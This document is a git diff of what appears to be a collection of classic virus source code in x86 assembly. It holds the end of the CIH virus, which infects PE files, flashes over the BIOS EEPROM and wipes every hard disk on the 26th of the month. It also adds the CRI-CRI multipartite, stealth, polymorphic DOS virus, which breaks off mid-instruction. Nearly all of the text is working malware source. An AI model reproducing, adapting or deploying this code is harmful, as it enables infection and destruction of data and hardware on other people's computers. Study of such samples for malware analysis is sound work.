Only for Debug * +; ************************************* + + ; cmp [esi+eax-06h], 'FUCK' + cmp [esi+eax-06h], 'KCUF' + jne DisableOnBusy + +ENDIF + +; ************************************* +; * Is Open Existing File !? * +; ************************************* + + ; if ( NotOpenExistingFile ) + ; goto DisableOnBusy + cmp word ptr [ebx+18h], 01h + jne DisableOnBusy + +; ************************************* +; * Get Attributes of the File * +; ************************************* + + mov ax, 4300h + int 20h ; VXDCall IFSMgr_Ring0_FileIO +IFSMgr_Ring0_FileIO = $ + dd 00400032h + + jc DisableOnBusy + + push ecx + +; ************************************* +; * Get IFSMgr_Ring0_FileIO Address * +; ************************************* + + mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] + mov edi, [edi] + +; ************************************* +; * Is Read-Only File !? * +; ************************************* + + test cl, 01h + jz OpenFile + +; ************************************* +; * Modify Read-Only File to Write * +; ************************************* + + mov ax, 4301h + xor ecx, ecx + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Open File * +; ************************************* + +OpenFile: + xor eax, eax + mov ah, 0d5h + xor ecx, ecx + xor edx, edx + inc edx + mov ebx, edx + inc ebx + call edi ; VXDCall IFSMgr_Ring0_FileIO + + xchg ebx, eax ; mov ebx, FileHandle + +; ************************************* +; * Need to Restore * +; * Attributes of the File !? * +; ************************************* + + pop ecx + + pushf + + test cl, 01h + jz IsOpenFileOK + +; ************************************* +; * Restore Attributes of the File * +; ************************************* + + mov ax, 4301h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Is Open File OK !? * +; ************************************* + +IsOpenFileOK: + popf + + jc DisableOnBusy + +; ************************************* +; * Open File Already Succeed. ^__^ * +; ************************************* + + push esi ; Push FileNameBuffer Address to Stack + + pushf ; Now CF = 0, Push Flag to Stack + + add esi, DataBuffer-@7 ; mov esi, offset DataBuffer + +; *************************** +; * Get OffsetToNewHeader * +; *************************** + + xor eax, eax + mov ah, 0d6h + + ; For Doing Minimal VirusCode's Length, + ; I Save EAX to EBP. + mov ebp, eax + + push 00000004h + pop ecx + push 0000003ch + pop edx + call edi ; VXDCall IFSMgr_Ring0_FileIO + + mov edx, [esi] + +; *************************** +; * Get 'PE\0' Signature * +; * of ImageFileHeader, and * +; * Infected Mark. * +; *************************** + + dec edx + + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Is PE !? * +; *************************** +; * Is the File * +; * Already Infected !? * +; *************************** +; * WinZip Self-Extractor * +; * doesn't Have Infected * +; * Mark Because My Virus * +; * doesn't Infect it. * +; *************************** + + ; cmp [esi], '\0PE\0' + cmp dword ptr [esi], 00455000h + jne CloseFile + +; ************************************* +; * The File is ^o^ * +; * PE(Portable Executable) indeed. * +; ************************************* +; * The File isn't also Infected. * +; ************************************* + +; ************************************* +; * Start to Infect the File * +; ************************************* +; * Registers Use Status Now : * +; * * +; * EAX = 04h * +; * EBX = File Handle * +; * ECX = 04h * +; * EDX = 'PE\0\0' Signature of * +; * ImageFileHeader Pointer's * +; * Former Byte. * +; * ESI = DataBuffer Address ==> @8 * +; * EDI = IFSMgr_Ring0_FileIO Address * +; * EBP = D600h ==> Read Data in File * +; ************************************* +; * Stack Dump : * +; * * +; * ESP => ------------------------- * +; * | EFLAG(CF=0) | * +; * ------------------------- * +; * | FileNameBufferPointer | * +; * ------------------------- * +; * | EDI | * +; * ------------------------- * +; * | ESI | * +; * ------------------------- * +; * | EBP | * +; * ------------------------- * +; * | ESP | * +; * ------------------------- * +; * | EBX | * +; * ------------------------- * +; * | EDX | * +; * ------------------------- * +; * | ECX | * +; * ------------------------- * +; * | EAX | * +; * ------------------------- * +; * | Return Address | * +; * ------------------------- * +; ************************************* + + push ebx ; Save File Handle + + push 00h ; Set VirusCodeSectionTableEndMark + +; *************************** +; * Let's Set the * +; * Virus' Infected Mark * +; *************************** + + push 01h ; Size + push edx ; Pointer of File + push edi ; Address of Buffer + +; *************************** +; * Save ESP Register * +; *************************** + + mov dr1, esp + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Only First Set Size ) * +; *************************** + + push eax ; Size + +; *************************** +; * Let's Read * +; * Image Header in File * +; *************************** + + mov eax, ebp + mov cl, SizeOfImageHeaderToRead + add edx, 07h ; Move EDX to NumberOfSections + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Let's Set the * +; * NewAddressOfEntryPoint * +; * ( Set Pointer of File, * +; * Address of Buffer ) * +; *************************** + + lea eax, (AddressOfEntryPoint-@8)[edx] + push eax ; Pointer of File + + lea eax, (NewAddressOfEntryPoint-@8)[esi] + push eax ; Address of Buffer + +; *************************** +; * Move EDX to the Start * +; * of SectionTable in File * +; *************************** + + movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] + lea edx, [eax+edx+12h] + +; *************************** +; * Let's Get * +; * Total Size of Sections * +; *************************** + + mov al, SizeOfScetionTable + + ; I Assume NumberOfSections <= 0ffh + mov cl, (NumberOfSections-@8)[esi] + + mul cl + +; *************************** +; * Let's Set Section Table * +; *************************** + + ; Move ESI to the Start of SectionTable + lea esi, (StartOfSectionTable-@8)[esi] + + push eax ; Size + push edx ; Pointer of File + push esi ; Address of Buffer + +; *************************** +; * The Code Size of Merge * +; * Virus Code Section and * +; * Total Size of Virus * +; * Code Section Table Must * +; * be Small or Equal the * +; * Unused Space Size of * +; * Following Section Table * +; *************************** + + inc ecx + push ecx ; Save NumberOfSections+1 + + shl ecx, 03h + push ecx ; Save TotalSizeOfVirusCodeSectionTable + + add ecx, eax + add ecx, edx + + sub ecx, (SizeOfHeaders-@9)[esi] + not ecx + inc ecx + + ; Save My Virus First Section Code + ; Size of Following Section Table... + ; ( Not Include the Size of Virus Code Section Table ) + push ecx + + xchg ecx, eax ; ECX = Size of Section Table + + ; Save Original Address of Entry Point + mov eax, (AddressOfEntryPoint-@9)[esi] + add eax, (ImageBase-@9)[esi] + mov (OriginalAddressOfEntryPoint-@9)[esi], eax + + cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection + jl OnlySetInfectedMark + +; *************************** +; * Read All Section Tables * +; *************************** + + mov eax, ebp + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; *************************** +; * Full Modify the Bug : * +; * WinZip Self-Extractor * +; * Occurs Error... * +; *************************** +; * So When User Opens * +; * WinZip Self-Extractor, * +; * Virus Doesn't Infect it.* +; *************************** +; * First, Virus Gets the * +; * PointerToRawData in the * +; * Second Section Table, * +; * Reads the Section Data, * +; * and Tests the String of * +; * 'WinZip(R)'...... * +; *************************** + + xchg eax, ebp + + push 00000004h + pop ecx + + push edx + mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi] + add edx, 12h + + call edi ; VXDCall IFSMgr_Ring0_FileIO + + ; cmp [esi], 'nZip' + cmp dword ptr [esi], 'piZn' + je NotSetInfectedMark + + pop edx + +; *************************** +; * Let's Set Total Virus * +; * Code Section Table * +; *************************** + + ; EBX = My Virus First Section Code + ; Size of Following Section Table + pop ebx + pop edi ; EDI = TotalSizeOfVirusCodeSectionTable + pop ecx ; ECX = NumberOfSections+1 + + push edi ; Size + + add edx, ebp + push edx ; Pointer of File + + add ebp, esi + push ebp ; Address of Buffer + +; *************************** +; * Set the First Virus * +; * Code Section Size in * +; * VirusCodeSectionTable * +; *************************** + + lea eax, [ebp+edi-04h] + mov [eax], ebx + +; *************************** +; * Let's Set My Virus * +; * First Section Code * +; *************************** + + push ebx ; Size + + add edx, edi + push edx ; Pointer of File + + lea edi, (MyVirusStart-@9)[esi] + push edi ; Address of Buffer + +; *************************** +; * Let's Modify the * +; * AddressOfEntryPoint to * +; * My Virus Entry Point * +; *************************** + + mov (NewAddressOfEntryPoint-@9)[esi], edx + +; *************************** +; * Setup Initial Data * +; *************************** + + lea edx, [esi-SizeOfScetionTable] + mov ebp, offset VirusSize + + jmp StartToWriteCodeToSections + +; *************************** +; * Write Code to Sections * +; *************************** + +LoopOfWriteCodeToSections: + + add edx, SizeOfScetionTable + + mov ebx, (SizeOfRawData-@9)[edx] + sub ebx, (VirtualSize-@9)[edx] + jbe EndOfWriteCodeToSections + + push ebx ; Size + + sub eax, 08h + mov [eax], ebx + + mov ebx, (PointerToRawData-@9)[edx] + add ebx, (VirtualSize-@9)[edx] + push ebx ; Pointer of File + + push edi ; Address of Buffer + + mov ebx, (VirtualSize-@9)[edx] + add ebx, (VirtualAddress-@9)[edx] + add ebx, (ImageBase-@9)[esi] + mov [eax+4], ebx + + mov ebx, [eax] + add (VirtualSize-@9)[edx], ebx + + ; Section contains initialized data ==> 00000040h + ; Section can be Read. ==> 40000000h + or (Characteristics-@9)[edx], 40000040h + +StartToWriteCodeToSections: + + sub ebp, ebx + jbe SetVirusCodeSectionTableEndMark + + add edi, ebx ; Move Address of Buffer + +EndOfWriteCodeToSections: + + loop LoopOfWriteCodeToSections + +; *************************** +; * Only Set Infected Mark * +; *************************** + +OnlySetInfectedMark: + mov esp, dr1 + + jmp WriteVirusCodeToFile + +; *************************** +; * Not Set Infected Mark * +; *************************** + +NotSetInfectedMark: + add esp, 3ch + + jmp CloseFile + +; *************************** +; * Set Virus Code * +; * Section Table End Mark * +; *************************** + +SetVirusCodeSectionTableEndMark: + + ; Adjust Size of Virus Section Code to Correct Value + add [eax], ebp + add [esp+08h], ebp + + ; Set End Mark + xor ebx, ebx + mov [eax-04h], ebx + +; *************************** +; * When VirusGame Calls * +; * VxDCall, VMM Modifies * +; * the 'int 20h' and the * +; * 'Service Identifier' * +; * to 'Call [XXXXXXXX]'. * +; *************************** +; * Before Writing My Virus * +; * to File, I Must Restore * +; * them First. ^__^ * +; *************************** + + lea eax, (LastVxDCallAddress-2-@9)[esi] + + mov cl, VxDCallTableSize + +LoopOfRestoreVxDCallID: + mov word ptr [eax], 20cdh + + mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] + mov [eax+2], edx + + movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] + sub eax, edx + + loop LoopOfRestoreVxDCallID + +; *************************** +; * Let's Write * +; * Virus Code to the File * +; *************************** + +WriteVirusCodeToFile: + mov eax, dr1 + mov ebx, [eax+10h] + mov edi, [eax] + +LoopOfWriteVirusCodeToFile: + + pop ecx + jecxz SetFileModificationMark + + mov esi, ecx + mov eax, 0d601h + pop edx + pop ecx + + call edi ; VXDCall IFSMgr_Ring0_FileIO + + jmp LoopOfWriteVirusCodeToFile + +; *************************** +; * Let's Set CF = 1 ==> * +; * Need to Restore File * +; * Modification Time * +; *************************** + +SetFileModificationMark: + pop ebx + pop eax + + stc ; Enable CF(Carry Flag) + pushf + +; ************************************* +; * Close File * +; ************************************* + +CloseFile: + xor eax, eax + mov ah, 0d7h + call edi ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Need to Restore File Modification * +; * Time !? * +; ************************************* + + popf + pop esi + jnc IsKillComputer + +; ************************************* +; * Restore File Modification Time * +; ************************************* + + mov ebx, edi + + mov ax, 4303h + mov ecx, (FileModificationTime-@7)[esi] + mov edi, (FileModificationTime+2-@7)[esi] + call ebx ; VXDCall IFSMgr_Ring0_FileIO + +; ************************************* +; * Disable OnBusy * +; ************************************* + +DisableOnBusy: + dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy + +; ************************************* +; * Call Previous FileSystemApiHook * +; ************************************* + +prevhook: + popad + + mov eax, dr0 ; + jmp [eax] ; Jump to prevhook + +; ************************************* +; * Call the Function that the IFS * +; * Manager Would Normally Call to * +; * Implement this Particular I/O * +; * Request. * +; ************************************* + +pIFSFunc: + mov ebx, esp + push dword ptr [ebx+20h+04h+14h] ; Push pioreq + call [ebx+20h+04h] ; Call pIFSFunc + pop ecx ; + + mov [ebx+1ch], eax ; Modify EAX Value in Stack + +; *************************** +; * After Calling pIFSFunc, * +; * Get Some Data from the * +; * Returned pioreq. * +; *************************** + + cmp dword ptr [ebx+20h+04h+04h], 00000024h + jne QuitMyVirusFileSystemHook + +; ***************** +; * Get the File * +; * Modification * +; * Date and Time * +; * in DOS Format.* +; ***************** + + mov eax, [ecx+28h] + mov (FileModificationTime-@6)[esi], eax + +; *************************** +; * Quit My Virus' * +; * IFSMgr_FileSystemHook * +; *************************** + +QuitMyVirusFileSystemHook: + + popad + + ret + +; ************************************* +; * Kill Computer !? ... *^_^* * +; ************************************* + +IsKillComputer: + ; Get Now Day from BIOS CMOS + mov al, 07h + out 70h, al + in al, 71h + + xor al, 26h ; ??/26/???? + +IF DEBUG + jmp DisableOnBusy +ELSE + jnz DisableOnBusy +ENDIF + +; ************************************** +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; * Kill Kill Kill Kill Kill Kill Kill * +; ************************************** + +; *************************** +; * Kill BIOS EEPROM * +; *************************** + + mov bp, 0cf8h + lea esi, IOForEEPROM-@7[esi] + +; *********************** +; * Show BIOS Page in * +; * 000E0000 - 000EFFFF * +; * ( 64 KB ) * +; *********************** + + mov edi, 8000384ch + mov dx, 0cfeh + cli + call esi + +; *********************** +; * Show BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + + mov di, 0058h + dec edx ; and al,0fh + mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h + call esi + +; *********************** +; * Show the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E01FF * +; * ( 512 Bytes ) * +; * , and the Section * +; * of Extra BIOS can * +; * be Writted... * +; *********************** + + lea ebx, EnableEEPROMToWrite-@10[esi] + + mov eax, 0e5555h + mov ecx, 0e2aaah + call ebx + mov byte ptr [eax], 60h + + push ecx + loop $ + +; *********************** +; * Kill the BIOS Extra * +; * ROM Data in Memory * +; * 000E0000 - 000E007F * +; * ( 80h Bytes ) * +; *********************** + + xor ah, ah + mov [eax], al + + xchg ecx, eax + loop $ + +; *********************** +; * Show and Enable the * +; * BIOS Main ROM Data * +; * 000E0000 - 000FFFFF * +; * ( 128 KB ) * +; * can be Writted... * +; *********************** + + mov eax, 0f5555h + pop ecx + mov ch, 0aah + call ebx + mov byte ptr [eax], 20h + + loop $ + +; *********************** +; * Kill the BIOS Main * +; * ROM Data in Memory * +; * 000FE000 - 000FE07F * +; * ( 80h Bytes ) * +; *********************** + + mov ah, 0e0h + mov [eax], al + +; *********************** +; * Hide BIOS Page in * +; * 000F0000 - 000FFFFF * +; * ( 64 KB ) * +; *********************** + ; or al,10h + mov word ptr (BooleanCalculateCode-@10)[esi], 100ch + call esi + +; *************************** +; * Kill All HardDisk * +; *************************************************** +; * IOR Structure of IOS_SendCommand Needs * +; *************************************************** +; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * +; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * +; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * +; *************************************************** + +KillHardDisk: + xor ebx, ebx + mov bh, FirstKillHardDiskNumber + push ebx + sub esp, 2ch + push 0c0001000h + mov bh, 08h + push ebx + push ecx + push ecx + push ecx + push 40000501h + inc ecx + push ecx + push ecx + + mov esi, esp + sub esp, 0ach + +LoopOfKillHardDisk: + int 20h + dd 00100004h ; VXDCall IOS_SendCommand + + cmp word ptr [esi+06h], 0017h + je KillNextDataSection + +ChangeNextHardDisk: + inc byte ptr [esi+4dh] + + jmp LoopOfKillHardDisk + +KillNextDataSection: + add dword ptr [esi+10h], ebx + mov byte ptr [esi+4dh], FirstKillHardDiskNumber + + jmp LoopOfKillHardDisk + +; *************************** +; * Enable EEPROM to Write * +; *************************** + +EnableEEPROMToWrite: + mov [eax], cl + mov [ecx], al + mov byte ptr [eax], 80h + mov [eax], cl + mov [ecx], al + + ret + +; *************************** +; * IO for EEPROM * +; *************************** + +IOForEEPROM: +@10 = IOForEEPROM + + xchg eax, edi + xchg edx, ebp + out dx, eax + + xchg eax, edi + xchg edx, ebp + in al, dx + +BooleanCalculateCode = $ + or al, 44h + + xchg eax, edi + xchg edx, ebp + out dx, eax + + xchg eax, edi + xchg edx, ebp + out dx, al + + ret + +; ********************************************************* +; * Static Data * +; ********************************************************* + +LastVxDCallAddress = IFSMgr_Ring0_FileIO +VxDCallAddressTable db 00h + db IFSMgr_RemoveFileSystemApiHook-_PageAllocate + db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook + db IFSMgr_Ring0_FileIO-UniToBCSPath + +VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h +VxDCallTableSize = ($-VxDCallIDTable)/04h + +; ********************************************************* +; * Virus Version Copyright * +; ********************************************************* + +VirusVersionCopyright db 'CIH v' + db MajorVirusVersion+'0' + db '.' + db MinorVirusVersion+'0' + db ' TATUNG' + +; ********************************************************* +; * Virus Size * +; ********************************************************* + +VirusSize = $ +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) + +; ********************************************************* +; * Dynamic Data * +; ********************************************************* + +VirusGameDataStartAddress = VirusSize +@6 = VirusGameDataStartAddress +OnBusy db 0 +FileModificationTime dd ? + +FileNameBuffer db FileNameBufferSize dup(?) +@7 = FileNameBuffer + +DataBuffer = $ +@8 = DataBuffer +NumberOfSections dw ? +TimeDateStamp dd ? +SymbolsPointer dd ? +NumberOfSymbols dd ? +SizeOfOptionalHeader dw ? +_Characteristics dw ? +Magic dw ? +LinkerVersion dw ? +SizeOfCode dd ? +SizeOfInitializedData dd ? +SizeOfUninitializedData dd ? +AddressOfEntryPoint dd ? +BaseOfCode dd ? +BaseOfData dd ? +ImageBase dd ? +@9 = $ +SectionAlignment dd ? +FileAlignment dd ? +OperatingSystemVersion dd ? +ImageVersion dd ? +SubsystemVersion dd ? +Reserved dd ? +SizeOfImage dd ? +SizeOfHeaders dd ? +SizeOfImageHeaderToRead = $-NumberOfSections + +NewAddressOfEntryPoint = DataBuffer ; DWORD +SizeOfImageHeaderToWrite = 04h + +StartOfSectionTable = @9 +SectionName = StartOfSectionTable ; QWORD +VirtualSize = StartOfSectionTable+08h ; DWORD +VirtualAddress = StartOfSectionTable+0ch ; DWORD +SizeOfRawData = StartOfSectionTable+10h ; DWORD +PointerToRawData = StartOfSectionTable+14h ; DWORD +PointerToRelocations = StartOfSectionTable+18h ; DWORD +PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD +NumberOfRelocations = StartOfSectionTable+20h ; WORD +NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD +Characteristics = StartOfSectionTable+24h ; DWORD +SizeOfScetionTable = Characteristics+04h-SectionName + +; ********************************************************* +; * Virus Total Need Memory * +; ********************************************************* + +VirusNeedBaseMemory = $ + +VirusTotalNeedMemory = @9 +; + NumberOfSections(??)*SizeOfScetionTable(28h) +; + SizeOfVirusCodeSectionTableEndMark(04h) +; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) +; + SizeOfTheFirstVirusCodeSectionTable(04h) + +; ********************************************************* +; ********************************************************* + +VirusGame ENDS + + END FileHeader \ No newline at end of file diff --git a/c/cricri.asm b/c/cricri.asm new file mode 100755 index 0000000..b42ad2d --- /dev/null +++ b/c/cricri.asm @@ -0,0 +1,2310 @@ +;---------------------------------------------------------------------------- +;CRI-CRI ViRuS (CoDe by Griyo/29A) +;---------------------------------------------------------------------------- + +;ResiDenT: + +;WheN an inFecTed FiLe is Run thE viRus becaMes ResidEnt inTo a UMB +;memoRy bloCk (if aVaLiabLe) or in conVenTionaL memOry. Then iT +;hOOks int13h and int21h. + +;InfEcTion (MulTiPartite): + +;CriCri wRitEs itSeLf to The End of .Com and .Exe fiLes that aRe eXecUtEd +;or cLosEd aNd to The BooT SectOr of fLoppY diSks tHat are accEsed. During +;fiLe iNfeCtion the viRus UseS LoW LeveL SysTem fiLe tabLe and HookS +;int03h and int24h. +;CriCri doEs not inFect the fiLes thAt havE diGit or V chaRactErs in +;thEir namEs As weLL as FiLes with toDays DatE and SomE antiVirUs +;eXecuTablEs. InfEcted fiLes Have 62 seCondS in tHeir tiMe sTamp. + +;SteALth (fiLe and booT LeveL): + +;CriCri reTurNs cLean CopiEs oF inFected fiLes tHat are acceSed and hide +;theiR tRue siZe. The viRus alSo reTurns the OriGinaL boot sEctoR of +;fLoppy disKs tHat aRe read. The viRus disabLes his sTeaLth mechaNism +;when some comPressiOn uttiLities are beinG eXecuted. + +;PoLymorPhic: + +;The viRus is polymorPHic in fiLes and bOOt secToRs. GenerAted PolymorPHic +;deCrypToR conTains conDitiOnaL and AbsoluTe jumPs as WeLL as subRoutiNes +;and inteRRupt caLLs. + +;---------------------------------------------------------------------------- +com segment para 'CODE' + assume cs:com,ds:com,es:com,ss:com +;---------------------------------------------------------------------------- +;Virus size in bytes +lenvir equ virus_copy-virus_entry +;Virus size in para +para_size equ ((lenvir*02h)+0Fh)/10h +;Virus size in sectors +sector_size equ ((lenvir+1FFh)/200h) +;Decryptor size in bytes +decryptor equ (virus_body-virus_entry) +;Boot code size in bytes +boot_size equ (boot_end-boot_code) +;---------------------------------------------------------------------------- +;Create .COM launcher: TASM cricri.asm TLINK /t cricri.obj + org 100h +;---------------------------------------------------------------------------- +;Virus entry point +;---------------------------------------------------------------------------- +virus_entry: +;Store bp for launcher + sub bp,bp +;Buffer were virus build polymorphic decryptor + db 0280h dup (90h) +virus_body: +;Save segment registers + push ds + push es +;Check if running from boot or file + mov al,byte ptr cs:[prog_type][bp] + cmp al,"B" + je in_boot_sector + jmp go_ahead +;---------------------------------------------------------------------------- +;Virus working from boot sector +;---------------------------------------------------------------------------- +in_boot_sector: +;Reset DOS loaded flag + mov byte ptr cs:[dos_flag][bp],00h +;Clear dos running switch + mov byte ptr cs:[running_sw],"R" +;Get int 13h vector + mov al,13h + call get_int +;Save old int 13h + mov word ptr cs:[old13h_off][bp],bx + mov word ptr cs:[old13h_seg][bp],es +;Calculate our segment position + mov ax,cs + sub ax,10h + mov ds,ax +;Hook int 13h + mov al,13h + mov dx,offset my_int13h + call set_int +;Restore segment registers + pop es + pop ds +;Reboot system + int 19h +;---------------------------------------------------------------------------- +;Wait until dos is loaded +;---------------------------------------------------------------------------- +wait_dos: +;Hook int 21h at installation check +test_1: + cmp ah,01h + jne test_2 + cmp si,00BADh + jne test_2 + cmp di,0FACEh + je dos_installed +;Hook int 21h if we detect a write operation +test_2: + cmp ah,03h + je dos_installed + ret +;Hook int 21h to our handler +dos_installed: + call push_all +;Set dos loaded flag + mov byte ptr cs:[dos_flag],0FFh +;Check dos version + mov ah,30h + int 21h + cmp al,04h + jb exit_wait +;Save old int 21h vector + mov al,21h + call get_int + mov word ptr cs:[old21h_off],bx + mov word ptr cs:[old21h_seg],es +;Get our segment + push cs + pop ds +;Point int 21h to our handler + mov dx,offset my_int21h + mov al,21h + call set_int +exit_wait: + call pop_all + ret +;---------------------------------------------------------------------------- +;Running from an executable +;---------------------------------------------------------------------------- +go_ahead: +;Installation check + mov si,00BADh + mov di,0FACEh + mov ah,01h + mov dl,80h + int 13h + jc not_installed + cmp si,0DEADh + jne not_installed + cmp di,0BABEh + jne not_installed + jmp control_end +not_installed: +;Check dos version + mov ah,30h + int 21h + cmp al,04h + jae check_date + jmp control_end +check_date: +;Get current date + mov ah,2Ah + int 21h +;Save today's date + mov byte ptr cs:[today][bp],dl +;Activation circunstance: 4th of June + cmp dh,06h + jne no_activation + cmp dl,04h + jne no_activation + jmp print_credits +no_activation: +;Set dos loaded flag + xor al,al + dec al + mov byte ptr cs:[dos_flag][bp],al +;Clear dos running switch + mov byte ptr cs:[running_sw],"R" +;Save old int 13h + mov al,13h + call get_int + mov word ptr cs:[old13h_seg][bp],es + mov word ptr cs:[old13h_off][bp],bx +;Save old int 03h + mov al,03h + call get_int + mov word ptr cs:[old03h_seg][bp],es + mov word ptr cs:[old03h_off][bp],bx +;Save old int 21h + mov al,21h + call get_int + mov word ptr cs:[old21h_seg][bp],es + mov word ptr cs:[old21h_off][bp],bx +;Redirect traced int 21h to int 03h + lds dx,dword ptr cs:[old21h][bp] + mov al,03h + call set_int +;---------------------------------------------------------------------------- +;Memory allocation +;---------------------------------------------------------------------------- + sub di,di +;Get pointer to dos info block + mov ah,52h + int 03h +;Get pointer to the dos buffers structure + lds si,es:[bx+12h] +;Get address of first umb + mov ax,ds:[si+1Fh] + cmp ax,0FFFFh + je no_umbs +;Follow the chain +nextumb: + mov ds,ax +;Check for free umb's + cmp word ptr ds:[di+01h],di + jnz no_free_umb +;Check if there is enought size + cmp word ptr ds:[di+03h],para_size+01h + ja handle_mcb +no_free_umb: +;Check if this is the last umb + cmp byte ptr ds:[di+00h],"Z" + je no_umbs +;Jump to next umb in the chain + mov ax,ds + inc ax + add ax,word ptr ds:[di+03h] + mov ds,ax + jmp short nextumb +;Allocate memory from last mcb +no_umbs: +;Get pointer to dos info block + mov ah,52h + int 03h +;Get pointer to first mcb + mov ax,es + dec ax + mov es,ax + add bx,12 + lds di,dword ptr es:[bx+00h] +;Follow the mcb chain +nextmcb: +;Check if this is the last mcb + cmp byte ptr ds:[di+00h],"Z" + je ok_mcb +;Next mcb + mov ax,ds + inc ax + add ax,word ptr ds:[di+03h] + mov ds,ax + jmp short nextmcb +ok_mcb: +;Check mcb size + cmp word ptr ds:[di+03h],para_size+4000h + ja ok_mcb_size + jmp control_end +ok_mcb_size: +;Sub top of memory in psp + sub word ptr ds:[di+12h],para_size+01h +handle_mcb: +;Sub virus size and mcb size + sub word ptr ds:[di+03h],para_size+01h +;Clear the last mcb field + mov byte ptr ds:[di+00h],"M" +;Jump to next mcb + mov ax,ds + inc ax + add ax,word ptr ds:[di+03h] + mov es,ax + inc ax + push ax +;Mark mcb as last in the chain + mov byte ptr es:[di+00h],"Z" +;Set dos as owner + mov word ptr es:[di+01h],0008h +;Set mcb size + mov word ptr es:[di+03h],para_size +;Mark UMB as system code + mov di,0008h + mov ax,"CS" + cld + stosw + xor ax,ax + stosw + stosw + stosw +;Copy to memory + pop es + mov ax,cs + mov ds,ax + sub di,di + mov si,bp + add si,0100h + mov cx,lenvir + cld + rep movsb +;Save virus segment + mov ax,es + sub ax,10h + mov ds,ax +;Hook int 13h + mov dx,offset my_int13h + mov al,13h + call set_int +;Hook int 21h + mov dx,offset my_int21h + mov al,21h + call set_int +control_end: +;Restore old int 03h + lds dx,dword ptr cs:[old03h][bp] + mov al,03h + call set_int +;Return to host + cmp byte ptr cs:[prog_type][bp],"E" + je exit_exe +;---------------------------------------------------------------------------- +;Exit from .COM +;---------------------------------------------------------------------------- +exit_com: +;Restore first three bytes + mov ax,cs + mov es,ax + mov ds,ax + mov si,offset old_header + add si,bp + mov di,0100h + mov cx,0003h + cld + rep movsb +;Restore segment registers + pop es + pop ds +;Check if launcher execution + cmp bp,0000h + je endprog +;Get control back to host + push cs + mov ax,0100h + push ax + call zero_all + retf +;Exit program if launcher execution +endprog: + mov ax,4C00h + int 21h +;---------------------------------------------------------------------------- +;Exit from .EXE +;---------------------------------------------------------------------------- +exit_exe: +;Restore segment registers + pop es + pop ds +;Get control back to host + mov bx,word ptr cs:[file_buffer+16h][bp] + mov ax,cs + sub ax,bx + mov dx,ax + add ax,word ptr cs:[old_header+16h][bp] + add dx,word ptr cs:[old_header+0Eh][bp] + mov bx,word ptr cs:[old_header+14h][bp] + mov word ptr cs:[exeret][bp],bx + mov word ptr cs:[exeret+02h][bp],ax + mov ax,word ptr cs:[old_header+10h][bp] + mov word ptr cs:[fix1][bp],dx + mov word ptr cs:[fix2][bp],ax + call zero_all + db 0B8h +fix1: + dw 0000h + cli + mov ss,ax + db 0BCh +fix2: + dw 0000h + sti + db 0EAh +exeret: + dw 0000h + dw 0000h +;---------------------------------------------------------------------------- +;Virus int 13h handler +;---------------------------------------------------------------------------- +my_int13h: + cmp byte ptr cs:[dos_flag],00h + jne ok_dos_flag + call wait_dos +ok_dos_flag: + call push_all +;Installation check + cmp ah,01h + jnz not_check + cmp si,00BADh + jne my13h_exit + cmp di,0FACEh + jne my13h_exit + call pop_all + mov si,0DEADh + mov di,0BABEh + stc + cmc + retf 2 +not_check: +;Do not use our int 13h handler if we are using our int 21h handler + cmp byte ptr cs:[running_sw],"R" + jne my13h_exit +;Check for read operations + cmp ah,02h + jne short my13h_exit +;Side 0 of drive a: + or dx,dx + jnz short my13h_exit +;Track 0, sector 1 + cmp cx,0001h + je infect_floppy +;Get control back to old int 13h +my13h_exit: + call pop_all + jmp dword ptr cs:[old13h] +;---------------------------------------------------------------------------- +;Infect floppy on drive a: +;---------------------------------------------------------------------------- +infect_floppy: +;Perform read operation + pushf + call dword ptr cs:[old13h] + jnc boot_read_ok + call pop_all + stc + retf 2 +boot_read_ok: +;Check for JMP SHORT at the beginning + cmp byte 